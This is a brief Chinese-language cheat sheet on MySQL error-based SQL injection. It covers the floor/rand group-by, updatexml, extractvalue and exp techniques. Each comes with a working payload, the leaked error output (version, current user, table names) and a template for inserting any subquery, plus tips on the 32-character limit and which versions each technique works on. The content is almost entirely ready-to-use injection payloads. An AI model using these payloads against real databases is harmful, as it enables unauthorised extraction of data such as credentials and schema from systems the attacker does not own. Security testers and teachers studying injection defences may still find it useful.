SQL注入-报错注入

1、Floor

利用：

mysql> select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.1.41-3ubuntu12.6-log1' for key 'group_key'

x和a是给起的别名。即将 floor(rand(0)*2)这一串表示为X。完整写法：select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
总结：select 1 from (select count(*),concat(（子查询）,'~',floor(rand(0)*2)) as x from information_schema.tables group by x) as a;
错误回显：ERROR 1242 (21000): Subquery returns more than 1 row使用limit查看，一次
错误回显：ERROR 1241 (21000): Operand should contain 1 column(s)检查子查询返回的列是否为一个

2、updatexml

利用：

mysql> select 1 and updatexml(1,(concat('~',(select version()),'~')),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.1.41-3ubuntu12.6-log~'

总结：and updatexml(1,concat('~',(子查询),'~'),1);
MySQL>5.1.5
最大返回32，如果返回的字符超过32则要使用字符串截断函数分次查看
EG：

select 1 and updatexml(1,concat('~',substring((select table_name from information_schema.tables where table_schema='test'),1,1)),1);
ERROR 1105 (HY000): XPATH syntax error: '~t'

3、extractvalue

利用：

mysql> select 1 and (SELECT extractvalue(null, user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

总结：select 1 and extractvalue('任意',concat(0x7e,(子查询),0x7e));
最大32，如果超过32则使用字符串截断函数分次查看（和updatexml相同）
MySQL>5.1.5

4、exp

MySQL版本对它存在影响。我的MySQL在5.1以下失败，5.4成功

成功：

mysql> select exp(~(select*from(select user()) as x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.47    |
+-----------+
1 row in set (0.00 sec)

失败：

mysql> select @@version;
+------------------------+
| @@version              |
+------------------------+
| 5.1.41-3ubuntu12.6-log |
+------------------------+
1 row in set (0.00 sec)

mysql>  select exp(~(select*from(select user()) as x));
+-----------------------------------------+
| exp(~(select*from(select user()) as x)) |
+-----------------------------------------+
|                                    NULL |
+-----------------------------------------+
1 row in set (0.00 sec)

利用：

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

了解利用exp